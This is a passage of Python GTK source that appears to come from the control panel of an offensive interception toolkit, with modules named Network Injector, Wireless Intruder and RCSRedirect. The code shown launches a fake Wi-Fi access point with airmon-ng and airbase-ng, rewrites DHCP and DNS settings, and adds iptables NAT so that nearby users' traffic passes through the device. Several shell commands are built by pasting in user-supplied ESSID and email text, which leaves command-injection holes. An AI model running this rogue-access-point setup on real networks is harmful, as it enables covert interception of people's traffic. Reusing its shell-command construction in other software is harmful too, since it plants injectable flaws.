        self.ifacelist = self.getinterfacelist2()
        for iface, value in self.ifacelist.items():
           if not value['connected']: continue
           self.internetiface = iface

           for m in re.finditer(r'-\W+Device:\W+(?P<iface>[\w]+)\W+(?:\[(?P<profile>.+?)\])?\W?-+\n'
                                r'(?P<stuff>.+?)\n\n\n',
                                subprocess.check_output('nm-tool'), re.S):

           	m = m.groupdict()

                if iface != m['iface']: continue
                s = re.search(r'^\W+Address:\W+(?P<address>.*)$', m['stuff'], re.M)

                if s: s = s.groupdict()
                else: continue

		if defiface != m['iface']:
		    continue

                self.internetiface = m['iface']
                self.internetip = s['address']
		return True
        return False

    def faptype(self, *args):
	if self.builder.get_object("radiobutton1").get_active():
		self.builder.get_object("entry4").set_sensitive(False)
	else:
		self.builder.get_object("entry4").set_sensitive(True)

    def startstopap(self, *args):
        if self.started_ap == False:
	    self.fa_running = True

            if self.started_newconf == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    self.fa_running = False
                    return
	    elif self.ni_running == True or self.started == True:
		self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    self.fa_running = False
                    return
            elif self.wi_running == True or self.status == 'started':
		self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Wireless Intruder is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    self.fa_running = False
                    return
	    elif self.py_running == True or self.started_firewire == True:
		self.dialog14 = self.builder.get_object("messagedialog14")
		msgdia = 'Physical Unlock is running...\nPlease finish with his operations or stop it first.'
		self.dialog14.format_secondary_text(msgdia)
		self.response14 = self.dialog14.run()
		if self.response14 == Gtk.ResponseType.OK:
		    self.dialog14.hide()
		    self.fa_running = False
		    return

	    if self.builder.get_object("radiobutton2").get_active():
	        if len(self.builder.get_object("entry4").get_text()) == 0 or self.builder.get_object("entry4").get_text() == None:
		    self.dialog22 = self.builder.get_object("messagedialog22")
                    self.response22 = self.dialog22.run()
                    if self.response22 == Gtk.ResponseType.OK:
                        self.dialog22.hide()
                        self.fa_running = False
                        return

	    if self.internetifaceip() == False:
		self.dialog19 = self.builder.get_object("messagedialog19")
                self.response19 = self.dialog19.run()
                if self.response19 == Gtk.ResponseType.NO:
                    self.dialog19.hide()
		    self.fa_running = False
                    return
                elif self.response19 == Gtk.ResponseType.YES:
                    self.dialog19.hide()

	    if self.internetiface == 'usb0' or self.internetiface == 'ppp0' or self.internetiface == 'ttyUSB0' or self.internetiface == 'ttyUSB1' or self.internetiface == 'ttyUSB2':
                self.dialog24 = self.builder.get_object("messagedialog24")
                self.response24 = self.dialog24.run()
                if self.response24 == Gtk.ResponseType.NO:
		    self.dialog24.hide()
                    self.fa_running = False
                    return
                elif self.response24 == Gtk.ResponseType.YES:
                    self.dialog24.hide()

            self.started_ap = True
            self.builder.get_object("grid4").set_sensitive(False)
            t = threading.Thread(target = self.startstopfap)
            t.start()
        else:
	    self.fa_running = True

	    if self.ni_running == True or self.started == True:
		if self.reboot_order == False:
                    self.dialog14 = self.builder.get_object("messagedialog14")
                    msgdia = 'Network Injector is running on Fake Access Point...\nPlease finish with his operations or stop it first.'
                    self.dialog14.format_secondary_text(msgdia)
                    self.response14 = self.dialog14.run()
                    if self.response14 == Gtk.ResponseType.OK:
                        self.dialog14.hide()
                        self.fa_running = False
                        return
		else:
		    self.reboot_order = False

            self.started_ap = False
            self.builder.get_object("grid4").set_sensitive(True)
            t = threading.Thread(target = self.startstopfap)
            t.start()

    def startstopfap(self):
	if self.fakeap_started == False:
	    self.airbase_pid = None
	    self.dnsmasq_pid = None

	    self.do_gui(self.builder.get_object("label29").set_sensitive, True)
            self.do_gui(self.builder.get_object("label29").set_label, "Start new session, please wait...")

	    self.do_gui(self.builder.get_object("button12").set_sensitive, False)
	    self.do_gui(self.builder.get_object("button24").set_sensitive, False)

	    self.started_exit2 = False
	    self.do_gui(self.builder.get_object("button11").set_sensitive, False)

	    retcn = '1'

            try:
                retcon = subprocess.check_output("/opt/td-config/scripts/http_conntest.py", shell=True)

                if string.find(retcon, "Status 1") != -1:
                    retcn = '1'
                    pass
                else:
                    retcn = '0'
                    pass
            except:
                retcn = '0'
                pass

            if retcn != '1':
                print "[  conntest][00000000] Connection is down"
                self.dialog7 = self.builder.get_object("messagedialog7")
		Gdk.threads_enter()
                self.response7 = self.dialog7.run()
                Gdk.threads_leave()
                if self.response7 == Gtk.ResponseType.NO:
                    self.do_gui(self.dialog7.hide)
		    self.do_gui(self.builder.get_object("label29").set_label, "")
		    self.do_gui(self.builder.get_object("button12").set_sensitive, True)
		    self.do_gui(self.builder.get_object("button24").set_sensitive, True)
                    self.do_gui(self.builder.get_object("button11").set_sensitive, True)
		    self.do_gui(self.builder.get_object("grid4").set_sensitive, True)
		    self.started_ap = False
		    self.started_exit2 = True
                    self.fa_running = False
                    return
                elif self.response7 == Gtk.ResponseType.YES:
                    self.do_gui(self.dialog7.hide)
            else:
                print "[  conntest][00000000] Connection is up"

            subprocess.call('pkill -KILL -f http_conntest.py 2> /dev/null', shell=True)

	    snifcard = self.builder.get_object("comboboxtext7").get_active_text().split()[0]
            snifmac = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f GENERAL dev list iface '{}' | grep -i HWADDR | sed -e 's/GENERAL.HWADDR://g'".format(snifcard), shell=True)
            snifmac = snifmac.lower()
            subprocess.call("cp /etc/NetworkManager/NetworkManager.conf /opt/td-config/run/", shell=True)
            disablesnif = "\n[keyfile]\nunmanaged-devices=mac:" + snifmac
            subprocess.call("echo '{}' >> /etc/NetworkManager/NetworkManager.conf".format(disablesnif), shell=True)
            subprocess.call("killall -1 NetworkManager", shell=True)
	    self.disable_snifcard = snifcard
            time.sleep(1)

	    self.aptimeout = GObject.timeout_add(2000, self.startstopapreboot, None)
	    ret = self.internetifaceip()

	    checktheip = None

	    for i in range(1, 255):
	        checktheip = "192.168." + str(i) + "."

		try:
		    routput = subprocess.check_output("route -n | grep -i '{}'".format(checktheip), shell=True)
		    routput = routput[:-1]
		    if len(routput) == 0:
		        break
		except:
		    break

	    self.routeip = checktheip + "1"

	    subprocess.call('rm /etc/dnsmasq.conf 2> /dev/null', shell=True)
	    time.sleep(1)
	    subprocess.call('rm /opt/td-config/run/airbase 2> /dev/null', shell=True)
	    f = open('/etc/dnsmasq.conf', 'w+')
	    f.write("interface=at0\n")
	    f.write("listen-address=127.0.0.1\n")
	    f.write("dhcp-range=" + checktheip + "2," + checktheip + "254,12h\n")
	    f.write("dhcp-option=option:router," + checktheip + "1\n")
	    if ret == True:
	        f.write("dhcp-option=6," + self.internetip + "\n")
	    else:
	        f.write("dhcp-option=6," + checktheip + "1\n")
	    f.write("dhcp-lease-max=7200\n")
	    f.close()

	    subprocess.call('killall -SIGKILL airbase-ng 2> /dev/null', shell=True)

	    subprocess.call("iwconfig '{}' txpower auto 2> /dev/null".format(self.wirelessiface), shell=True)
            subprocess.call("iwconfig '{}' power off 2> /dev/null".format(self.wirelessiface), shell=True)
	    subprocess.call("iw dev '{}' set power_save off 2> /dev/null".format(self.wirelessiface), shell=True)
	    subprocess.call("ifconfig '{}' up".format(self.wirelessiface), shell=True)
	    subprocess.call("iwconfig '{}' rate 54M".format(self.wirelessiface), shell=True)

	    subprocess.call("/opt/td-config/bin/airmon-ng start '{}' 6 > /dev/null".format(self.wirelessiface), shell=True)
	    subprocess.call("iwconfig mon0 txpower auto 2> /dev/null", shell=True)
	    subprocess.call("iw dev mon0 set power_save off 2> /dev/null", shell=True)
	    subprocess.call("iwconfig mon0 rate 54M", shell=True)

	    f = open('/opt/td-config/run/airbase', 'a')
            f.close()

	    netessid = None

	    if self.builder.get_object("radiobutton2").get_active():
                netessid = self.builder.get_object("entry4").get_text()
		cmdair = '/opt/td-config/bin/airbase-ng -c 6 -P -C 60 -e "' + netessid + '" mon0'
	    else:
		cmdair = '/opt/td-config/bin/airbase-ng -c 6 -P -C 60 mon0'

	    while True:
	        airbase_proc = subprocess.Popen('{}'.format(cmdair), shell=True)
	        self.airbase_pid = self.child_pid(airbase_proc.pid)
	   	if self.airbase_pid == None:
		    subprocess.call("killall -SIGKILL airbase-ng 2> /dev/null", shell=True)
		    continue
		else:
		    break

	    time.sleep(1)
 
	    subprocess.call('ifconfig at0 down', shell=True)
	    subprocess.call('ifconfig at0 ' + checktheip + '1 netmask 255.255.255.0 broadcast ' + checktheip + '255 up', shell=True)

	    subprocess.call('echo 1 > /proc/sys/net/ipv4/ip_forward', shell=True)
	    subprocess.call("iptables -F", shell=True)
            subprocess.call("iptables -t nat -F", shell=True)
	    if ret == True:
	        subprocess.call("iptables --table nat --append POSTROUTING --out-interface '{}' -j MASQUERADE".format(self.internetiface), shell=True)
	        subprocess.call('iptables --append FORWARD --in-interface at0 -j ACCEPT', shell=True)

	    if self.dnsmasq_pid != None:
		subprocess.call('kill -KILL {} 2> /dev/null'.format(self.dnsmasq_pid), shell=True)

	    subprocess.call('killall -SIGKILL dnsmasq 2> /dev/null', shell=True)

            subprocess.call('echo "# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)" > /etc/resolv.conf', shell=True)
            subprocess.call('echo "#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN" >> /etc/resolv.conf', shell=True)
	    subprocess.call('echo "#" >> /etc/resolv.conf', shell=True)
            subprocess.call('echo "#     IF YOU WANT EDITING THIS FILE, PLEASE EDIT /var/run/dnsmasq/resolv.conf FILE" >> /etc/resolv.conf', shell=True)
            subprocess.call('echo "nameserver 127.0.0.1" >> /etc/resolv.conf', shell=True)

            if os.path.exists('/var/run/dnsmasq/resolv.conf') == False:
                subprocess.call("echo 'nameserver 8.8.8.8' > /var/run/dnsmasq/resolv.conf", shell=True)
                subprocess.call("echo 'nameserver 8.8.4.4' >> /var/run/dnsmasq/resolv.conf", shell=True)
                subprocess.call("echo 'nameserver 208.67.222.222' >> /var/run/dnsmasq/resolv.conf", shell=True)
                subprocess.call("echo 'nameserver 208.67.220.220' >> /var/run/dnsmasq/resolv.conf", shell=True)
            else:
                try:
                    subprocess.check_output("grep -i 'nameserver 8.8.8.8' /var/run/dnsmasq/resolv.conf", shell=True)
                except:
                    subprocess.call('echo "nameserver 8.8.8.8" >> /var/run/dnsmasq/resolv.conf', shell=True)

                try:
                    subprocess.check_output("grep -i 'nameserver 8.8.4.4' /var/run/dnsmasq/resolv.conf", shell=True)
                except:
                    subprocess.call('echo "nameserver 8.8.4.4" >> /var/run/dnsmasq/resolv.conf', shell=True)

                try:
                    subprocess.check_output("grep -i 'nameserver 208.67.222.222' /var/run/dnsmasq/resolv.conf", shell=True)
                except:
                    subprocess.call('echo "nameserver 208.67.222.222" >> /var/run/dnsmasq/resolv.conf', shell=True)

                try:
                    subprocess.check_output("grep -i 'nameserver 208.67.220.220' /var/run/dnsmasq/resolv.conf", shell=True)
                except:
                    subprocess.call('echo "nameserver 208.67.220.220" >> /var/run/dnsmasq/resolv.conf', shell=True)

	    subprocess.Popen('dnsmasq -C /etc/dnsmasq.conf -x /var/run/dnsmasq/dnsmasq.pid -u dnsmasq -r /var/run/dnsmasq/resolv.conf -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new', shell=True)
	    time.sleep(1)
	    while os.path.exists('/var/run/dnsmasq/dnsmasq.pid') != True:
	        time.sleep(0.5)

	    ff1 = open('/var/run/dnsmasq/dnsmasq.pid', 'r')
	    dnsmasq_proc = ff1.read()
	    ff1.close()
	    dnsmasq_proc = dnsmasq_proc[0:len(dnsmasq_proc) - 1]
	    self.dnsmasq_pid = int(dnsmasq_proc)

	    time.sleep(1)

	    if self.builder.get_object("radiobutton1").get_active():
	        subprocess.call('echo "{} Starting Fake Access Point on {} wireless interface..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), self.wirelessiface), shell=True)
	    else:
		subprocess.call('echo "{} Starting Fake Access Point with {} ESSID on {} wireless interface..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), netessid, self.wirelessiface), shell=True)

	    self.do_gui(self.builder.get_object("grid4").set_sensitive, True)
	    self.do_gui(self.builder.get_object("treeview2").set_sensitive, True)
	    self.do_gui(self.builder.get_object("accellabel4").set_sensitive, False)
	    self.do_gui(self.builder.get_object("comboboxtext7").set_sensitive, False)
	    self.do_gui(self.builder.get_object("radiobutton1").set_sensitive, False)
	    self.do_gui(self.builder.get_object("radiobutton2").set_sensitive, False)
	    self.do_gui(self.builder.get_object("entry4").set_sensitive, False)
	    self.do_gui(self.builder.get_object("label31").set_sensitive, False) 
	    self.do_gui(self.builder.get_object("button11").set_sensitive, False)
	    self.do_gui(self.builder.get_object("button12").set_label, "Stop")
	    self.do_gui(self.builder.get_object("button12").set_sensitive, True)
	    self.do_gui(self.builder.get_object("button24").set_sensitive, False)

	    self.fakeap_started = True
	    self.timeout2 = GObject.timeout_add(2000, self.listclients2, None)

	    self.do_gui(self.builder.get_object("treeview2").set_sensitive, True)
	    self.do_gui(self.builder.get_object("comboboxtext1").set_active, self.fap_n)

	    self.do_gui(self.builder.get_object("label29").set_label, "")

	    self.refresh()
	    time.sleep(1)
	    self.do_gui(self.notebook.set_current_page, 0)
	    self.fa_running = False
	elif self.fakeap_started == True:
	    if self.started == True:
		self.fakeap_stop = False
		self.startstop()
		self.fakeap_stop = True

	    self.fakeap_started = False
	    self.do_gui(self.builder.get_object("treeview2").set_sensitive, False)
	    self.do_gui(self.builder.get_object("button12").set_sensitive, False)
	    self.do_gui(self.builder.get_object("button24").set_sensitive, False)

	    GObject.source_remove(self.timeout2)
	    time.sleep(1)
	    self.builder.get_object("liststore2").clear()

            if os.path.exists('/opt/td-config/run/NetworkManager.conf') == True:
                subprocess.call("rm -f /etc/NetworkManager/NetworkManager.conf", shell=True)
                subprocess.call("mv -f /opt/td-config/run/NetworkManager.conf /etc/NetworkManager/", shell=True)
                subprocess.call("killall -1 NetworkManager", shell=True)
                time.sleep(1)

	    if self.airbase_pid != None:
		subprocess.call('kill -KILL {} 2> /dev/null'.format(self.airbase_pid), shell=True)

	    subprocess.call('killall -SIGKILL airbase-ng 2> /dev/null', shell=True)
	    subprocess.call('rm /opt/td-config/run/airbase 2> /dev/null', shell=True)
	    subprocess.call('/opt/td-config/bin/airmon-ng stop mon0 > /dev/null', shell=True)
	    subprocess.call("iptables -F", shell=True)
            subprocess.call("iptables -t nat -F", shell=True)

	    if self.dnsmasq_pid != None:
		subprocess.call('kill -KILL {} 2> /dev/null'.format(self.dnsmasq_pid), shell=True)

	    subprocess.call('killall -SIGKILL dnsmasq 2> /dev/null', shell=True)
	    subprocess.call('rm /etc/dnsmasq.conf 2> /dev/null', shell=True)
	    time.sleep(1)

	    subprocess.call('dnsmasq -x /var/run/dnsmasq/dnsmasq.pid -u dnsmasq -r /var/run/dnsmasq/resolv.conf -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new', shell=True)
	    
	    while os.path.exists('/var/run/dnsmasq/dnsmasq.pid') != True:
                time.sleep(0.5)
	    
	    GObject.source_remove(self.aptimeout)

	    if self.builder.get_object("radiobutton1").get_active():
	        subprocess.call('echo "{} Stopping Fake Access Point." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	    else:
		netessid = self.builder.get_object("entry4").get_text()
		subprocess.call('echo "{} Stopping Fake Access Point with {} ESSID." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), netessid), shell=True)

	    time.sleep(1)
	
	    self.do_gui(self.builder.get_object("liststore2").clear)
            self.do_gui(self.builder.get_object("treeview2").set_sensitive, False)
            self.do_gui(self.builder.get_object("accellabel4").set_sensitive, True)
            self.do_gui(self.builder.get_object("comboboxtext7").set_sensitive, True)
            self.do_gui(self.builder.get_object("button11").set_sensitive, True)
            self.do_gui(self.builder.get_object("button12").set_label, "Start")
            self.do_gui(self.builder.get_object("button12").set_sensitive, True)
	    self.do_gui(self.builder.get_object("button24").set_sensitive, True)
	    self.do_gui(self.builder.get_object("radiobutton1").set_sensitive, True)
            self.do_gui(self.builder.get_object("radiobutton2").set_sensitive, True)

	    if self.builder.get_object("radiobutton1").get_active():	    
                self.do_gui(self.builder.get_object("entry4").set_sensitive, False)
	    else:
		self.do_gui(self.builder.get_object("entry4").set_sensitive, True)

            self.do_gui(self.builder.get_object("label31").set_sensitive, True)

	    self.refresh()
	    self.do_gui(self.builder.get_object("button19").set_sensitive, True)
	    self.started_exit2 = True
	    self.fa_running = False

    def startstopapreboot(self, *args):
	if self.started_exit2 == True:
	    return False

        if self.fakeap_started == True:
            reboot = False

	    if self.internetiface != None:
                try:
                    retip2 = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f IP4 dev list iface '{}' | grep -i IP4.ADDRESS | awk '{{print $3}}' | sed -e 's/\/.*//g'".format(self.internetiface), shell=True)
		    retip2 = retip2[0:len(retip2) - 1]
                except:
                    pass

                if retip2 == None or len(retip2) == 0 or retip2 != self.internetip:
	            if self.started == True:
		        if self.RCS_pid != None:
                            subprocess.call('kill -KILL {} 2> /dev/null'.format(self.RCS_pid), shell=True)

                        subprocess.call('killall RCSRedirect 2> /dev/null', shell=True)	
        	    else:
		        if self.airbase_pid != None:
                            subprocess.call('kill -KILL {} 2> /dev/null'.format(self.airbase_pid), shell=True)

                        subprocess.call('killall -SIGKILL airbase-ng 2> /dev/null', shell=True)

	        devroute = None
                defiface = subprocess.check_output("route -n | grep -i 'UG' | awk '{{print $8}}'", shell=True).strip()
                if len(defiface) == 0:
                    devroute = None

                if defiface != self.internetiface:
		    if self.started == True:
                        if self.RCS_pid != None:
                            subprocess.call('kill -KILL {} 2> /dev/null'.format(self.RCS_pid), shell=True)

                        subprocess.call('killall RCSRedirect 2> /dev/null', shell=True)
                    else:
                        if self.airbase_pid != None:
                            subprocess.call('kill -KILL {} 2> /dev/null'.format(self.airbase_pid), shell=True)

                        subprocess.call('killall -SIGKILL airbase-ng 2> /dev/null', shell=True)
	
	    try:
	        if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.airbase_pid), shell=True).strip() == '0':
		    reboot = True
	    except:
		reboot = True

	    try:
                if subprocess.check_output("ps ax | grep -i {} | grep -v grep".format(self.dnsmasq_pid), shell=True).strip() == '0':
                    reboot = True
            except:
                reboot = True

            if reboot == True:
		    if self.started_type != 'FakeAP':
 		        self.dialog11 = self.builder.get_object("messagedialog11")
		        msgdia = 'Please verify the network connection\nand network services and restart\nthe Fake Access Point.'
                        self.dialog11.format_secondary_text(msgdia)
                        Gdk.threads_enter()
                        self.response11 = self.dialog11.run()
                        Gdk.threads_leave()
                        if self.response11 == Gtk.ResponseType.OK:
                            self.do_gui(self.dialog11.hide)
	   
		        self.startstopap()

			return False
 
        return True

    def startcreatesd(self, *args):
        if self.started_newconf == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif (self.ni_running == True or self.started == True) and (self.fa_running == True or self.fakeap_started == True):
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Network Injector and Fake Access Point are running...\nPlease finish with their operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.ni_running == True or self.started == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.wi_running == True or self.status == 'started':
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Wireless Intruder is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.fa_running == True or self.fakeap_started == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return
        elif self.py_running == True or self.started_firewire == True:
            self.dialog14 = self.builder.get_object("messagedialog14")
            msgdia = 'Physical Unlock  is running...\nPlease finish with his operations or stop it first.'
            self.dialog14.format_secondary_text(msgdia)
            self.response14 = self.dialog14.run()
            if self.response14 == Gtk.ResponseType.OK:
                self.dialog14.hide()
                return

	subprocess.call("/opt/td-config/scripts/create_sdcard.py -i '{}' &".format(self.sdiface), shell=True)
	subprocess.call('echo "{} Create passphrase for automatically decrypt of disk on {} internal SD card on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), self.sdiface), shell=True)

	return

    def emailtest(self, *args):
	emailaddr = None

        if self.controlset == 'tactical':
            if self.started_newconf == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif (self.ni_running == True or self.started == True) and (self.fa_running == True or self.fakeap_started == True):
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector and Fake Access Point are running...\nPlease finish with their operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.ni_running == True or self.started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.wi_running == True or self.status == 'started':
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Wireless Intruder is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.fa_running == True or self.fakeap_started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.py_running == True or self.started_firewire == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Physical Unlock is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
        else:
            if self.started_newconf == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.ni2_running == True or self.started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return

	if self.controlset == 'tactical':
            if len(self.builder.get_object("entry5").get_text()) != 0 or self.builder.get_object("entry5").get_text() != "":
                if re.match("^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+$", self.builder.get_object("entry5").get_text()) == None:
                    self.dialog26 = self.builder.get_object("messagedialog26")
                    self.response26 = self.dialog26.run()
                    if self.response26 == Gtk.ResponseType.CLOSE:
                        self.dialog26.hide()
                        return
                else:
                    emailaddr = self.builder.get_object("entry5").get_text()
	    else:
	        self.dialog27 = self.builder.get_object("messagedialog27")
                self.response27 = self.dialog27.run()
                if self.response27 == Gtk.ResponseType.CLOSE:
                    self.dialog27.hide()
                    return
        else:
            if len(self.builder.get_object("entry6").get_text()) != 0 or self.builder.get_object("entry6").get_text() != "":
                if re.match("^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+$", self.builder.get_object("entry6").get_text()) == None:
                    self.dialog26 = self.builder.get_object("messagedialog26")
                    self.response26 = self.dialog26.run()
                    if self.response26 == Gtk.ResponseType.CLOSE:
                        self.dialog26.hide()
                        return
                else:
                    emailaddr = self.builder.get_object("entry6").get_text()
	    else:
		self.dialog27 = self.builder.get_object("messagedialog27")
                self.response27 = self.dialog27.run()
                if self.response27 == Gtk.ResponseType.CLOSE:
                    self.dialog27.hide()
                    return

	devmodem = None
        devretip = None

        if self.controlset == 'tactical':
            devmodem = self.builder.get_object("comboboxtext10").get_active_text().split()[0]
        else:
            devmodem = self.builder.get_object("comboboxtext11").get_active_text().split()[0]

        try:
            devretip = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f IP4 dev list iface '{}' | grep -i IP4.ADDRESS | awk '{{print $3}}' | sed -e 's/\/.*//g'".format(devmodem), shell=True)
        except:
            devretip = None
            pass

        ispriv = False

        if devretip != None or len(devretip) != 0:
            devretip = devretip[0:len(devretip) - 1]

            cont = 0

            try:
                inet_pton(AF_INET, devretip)
            except:
                cont = 1
                pass

            if cont == 0:
                f  = unpack('!I', inet_pton(AF_INET, devretip))[0]
                private = ([ 2130706432 , 4278190080 ], [ 3232235520 , 4294901760 ], [ 2886729728 , 4293918720 ], [ 167772160 , 4278190080 ])

                for net in private:
                    if (f & net[1] == net[0]):
                        ispriv = True

            if ispriv == True:
                self.dialog23 = self.builder.get_object("messagedialog23")
                self.response23 = self.dialog23.run()
                if self.response23 == Gtk.ResponseType.NO:
                    self.dialog23.hide()
                    return
                elif self.response23 == Gtk.ResponseType.YES:
                    self.dialog23.hide()
        else:
            self.dialog25 = self.builder.get_object("messagedialog25")
            self.response25 = self.dialog25.run()
            if self.response25 == Gtk.ResponseType.OK:
                self.dialog25.hide()
                return

	hostname = subprocess.check_output("hostname", shell=True)[:-1]
        hoststr = "127.0.0.1       " + hostname + ".localdomain localhost " + hostname

        try:
            ret = subprocess.check_output("grep -i '{}' /etc/hosts".format(hoststr), shell=True)
            if len(ret) == 0:
                subprocess.call("echo '{}' >> /etc/hosts".format(hoststr), shell=True)
        except:
            subprocess.call("echo '{}' >> /etc/hosts".format(hoststr), shell=True)

	tmail = ""

	if os.path.exists("/etc/NetworkManager/muttrc") == False:
  	    tmail += "Subject: Device test\n"

	tmail += "This is the device email test.\n"
	subprocess.call("rm -f /tmp/mailmsg.txt 2> /dev/null", shell=True)
	subprocess.call("echo '{}' > /tmp/mailmsg.txt".format(tmail), shell=True)

	if os.path.exists("/etc/NetworkManager/muttrc") == True:
	    subprocess.call("mutt -F /etc/NetworkManager/muttrc -s 'Device test' {} < /tmp/mailmsg.txt &".format(emailaddr), shell=True)
	else:
	    subprocess.call("sendmail -froot@{}.localdomain -t {} < /tmp/mailmsg.txt".format(hostname, emailaddr), shell=True)
	
        self.dialog28 = self.builder.get_object("messagedialog28")
        self.response28 = self.dialog28.run()
        if self.response28 == Gtk.ResponseType.OK:
            self.dialog28.hide()

	subprocess.call('echo "{} Test mail of {} email address on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), emailaddr), shell=True)

    def emailconfig(self, *args):
        if self.controlset == 'tactical':
            if self.started_newconf == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif (self.ni_running == True or self.started == True) and (self.fa_running == True or self.fakeap_started == True):
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector and Fake Access Point are running...\nPlease finish with their operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.ni_running == True or self.started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.wi_running == True or self.status == 'started':
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Wireless Intruder is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    return
            elif self.fa_running == True or self.fakeap_started == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
